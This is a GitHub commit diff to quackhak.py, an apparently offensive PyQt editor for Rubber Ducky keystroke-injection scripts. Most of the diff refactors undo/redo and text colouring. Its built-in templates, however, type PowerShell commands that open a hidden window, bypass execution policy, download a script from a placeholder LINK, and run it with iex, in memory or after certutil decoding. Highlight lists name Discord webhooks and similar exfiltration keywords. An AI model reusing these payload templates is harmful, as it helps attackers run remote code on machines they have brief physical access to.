Skip to content

Commit fc20a22

Browse files
authored
Update quackhak.py
1 parent 368c997 commit fc20a22

File tree

1 file changed

+23
-55
lines changed

1 file changed

+23
-55
lines changed

QuackHak Studio/quackhak.py

Lines changed: 23 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -276,36 +276,35 @@ def loadUserTemplate(self, template_name):
276276
def undoAction(self):
277277
if not self.history:
278278
return
279-
self.redo_stack.append(self.text_edit.toPlainText())
280-
prev_state = self.history.pop()
281279

282-
cursor = self.text_edit.textCursor()
283-
current_position = cursor.position()
280+
self.redo_stack.append((self.text_edit.toHtml()))
281+
prev_state = self.history.pop()
284282

285283
self.text_edit.textChanged.disconnect(self.colorizeText)
286-
self.setColoredText(prev_state)
284+
self.text_edit.setHtml(prev_state)
287285
self.text_edit.textChanged.connect(self.colorizeText)
288286

289-
cursor.setPosition(min(current_position, len(prev_state)))
287+
cursor = self.text_edit.textCursor()
288+
current_position = min(cursor.position(), len(prev_state))
289+
cursor.setPosition(current_position)
290290
self.text_edit.setTextCursor(cursor)
291291

292292
def redoAction(self):
293293
if not self.redo_stack:
294294
return
295-
self.history.append(self.text_edit.toPlainText())
296-
next_state = self.redo_stack.pop()
297295

298-
cursor = self.text_edit.textCursor()
299-
current_position = cursor.position()
296+
self.history.append((self.text_edit.toHtml()))
297+
next_state = self.redo_stack.pop()
300298

301299
self.text_edit.textChanged.disconnect(self.colorizeText)
302-
self.setColoredText(next_state)
300+
self.text_edit.setHtml(next_state)
303301
self.text_edit.textChanged.connect(self.colorizeText)
304302

305-
cursor.setPosition(min(current_position, len(next_state)))
303+
cursor = self.text_edit.textCursor()
304+
current_position = min(cursor.position(), len(next_state))
305+
cursor.setPosition(current_position)
306306
self.text_edit.setTextCursor(cursor)
307307

308-
309308
def loadFreshCode(self):
310309
self.text_edit.clear()
311310
self.text_edit.insertPlainText("\n\n")
@@ -327,7 +326,7 @@ def executeScript(self):
327326
error_dialog.exec_()
328327
return
329328

330-
key_map = { #doesnt include all ducky commands yet. theres a way easier way to do this. but that means i have to restart lol.
329+
key_map = { #doesnt include all ducky commands yet
331330
"GUI r": ("hotkey", ('win', 'r')),
332331
"GUI R": ("hotkey", ('win', 'r')),
333332
"GUI d": ("hotkey", ('win', 'd')),
@@ -469,7 +468,7 @@ def openGithub(self):
469468
def colorizeText(self):
470469
self.text_edit.textChanged.disconnect(self.colorizeText)
471470

472-
self.history.append(self.text_edit.toPlainText())
471+
self.history.append((self.text_edit.toHtml()))
473472
self.redo_stack.clear()
474473
self.text_edit.cursorPositionChanged()
475474

@@ -513,7 +512,9 @@ def colorizeText(self):
513512
"powershell", "Powershell"
514513
]
515514
outofnameslol = [
516-
"bypass", "hidden", "H", "Bypass", "Hidden", "h"
515+
"NoP", "nop", "ep", "bypass", "noprofile", "hidden", "windowstyle", "executionpolicy", "W", "H", "Ep",
516+
"Bypass", "NoProfile", "WindowStyle", "Hidden", "w", "h",
517+
"ExecutionPolicy"
517518
]
518519

519520
color_mapping = {
@@ -604,42 +605,6 @@ def openFile(self):
604605
self.text_edit.setPlainText(file.read())
605606
self.current_file = file_name
606607

607-
def setColoredText(self, text):
608-
self.text_edit.clear()
609-
cursor, format = self.text_edit.textCursor(), QTextCharFormat()
610-
color_mapping = {
611-
("DELAY", "GUI", "STRING", "ENTER", "TAB", ";", "|", "ESC", "ALT", "CTRL", "UPARROW", "SHIFT", "DOWNARROW",
612-
"LEFTARROW", "RIGHTARROW", "HOME", "END", "INSERT", "DELETE", "PAGEUP", "PAGEDOWN", "CAPSLOCK", "NUMLOCK",
613-
"SCROLLLOCK", "SPACE", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12",
614-
"PRINTSCREEN", "WINDOWS", "STRINGLN", "CONTROL", "ESCAPE", "UP", "DOWN", "RIGHT", "LEFT"): "orange",
615-
("irm", "iex", "iwr", "curl", "certutil", "icm"): "#00ccff",
616-
("LINK", "FUNCTION", "WEBHOOK", "DISCORD", "discord", "Discord", "Webhook", "webhook", "link",
617-
"Link", "url", "URL", "TARGET", "Target", "target"): "#F44444",
618-
("bypass", "hidden", "H", "Bypass", "Hidden", "h"): "#ff80ff",
619-
("powershell", "Powershell"): "#8A46A6",
620-
("REM"): "gray",
621-
"default": "white"
622-
}
623-
624-
for line in text.split('\n'):
625-
gray_mode = False
626-
for word in re.split(r'(\W+)', line):
627-
if word == "REM":
628-
gray_mode = True
629-
format.setForeground(QColor("gray"))
630-
elif gray_mode:
631-
format.setForeground(QColor("gray"))
632-
else:
633-
for words, color in color_mapping.items():
634-
if word in words:
635-
format.setForeground(QColor(color))
636-
break
637-
else:
638-
format.setForeground(QColor(color_mapping["default"]))
639-
cursor.setCharFormat(format)
640-
cursor.insertText(word)
641-
cursor.insertText('\n')
642-
643608
def save(self):
644609
if self.current_file:
645610
with open(self.current_file, 'w') as file:
@@ -664,7 +629,8 @@ def loadMemoryExecutionCode(self):
664629
STRING powershell -NoP -W H -Ep Bypass &([scriptblock]::Create([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((irm LINK)))))
665630
DELAY 500
666631
ENTER"""
667-
self.setColoredText(memory_execution_code)
632+
self.text_edit.setPlainText(memory_execution_code)
633+
self.colorizeText()
668634

669635
def loadBasicCode(self):
670636
basic_code = """DELAY 2000
@@ -673,7 +639,8 @@ def loadBasicCode(self):
673639
STRING powershell -NoP -W H -Ep Bypass irm LINK|iex;FUNCTION
674640
DELAY 500
675641
ENTER"""
676-
self.setColoredText(basic_code)
642+
self.text_edit.setPlainText(basic_code)
643+
self.colorizeText()
677644

678645
def loadBase64Code(self):
679646
base64_code = """REM The script must interface with a Base64-encoded LINK for proper functionality.
@@ -683,7 +650,8 @@ def loadBase64Code(self):
683650
STRING powershell -NoP -W H -Ep Bypass irm LINK -O $env:USERPROFILE\e.txt;certutil -f -decode $env:USERPROFILE\e.txt $env:USERPROFILE\d.ps1;iex $env:USERPROFILE\d.ps1
684651
DELAY 500
685652
ENTER"""
686-
self.setColoredText(base64_code)
653+
self.text_edit.setPlainText(base64_code)
654+
self.colorizeText()
687655

688656
def main():
689657
app = QApplication(sys.argv)

0 commit comments

Comments
 (0)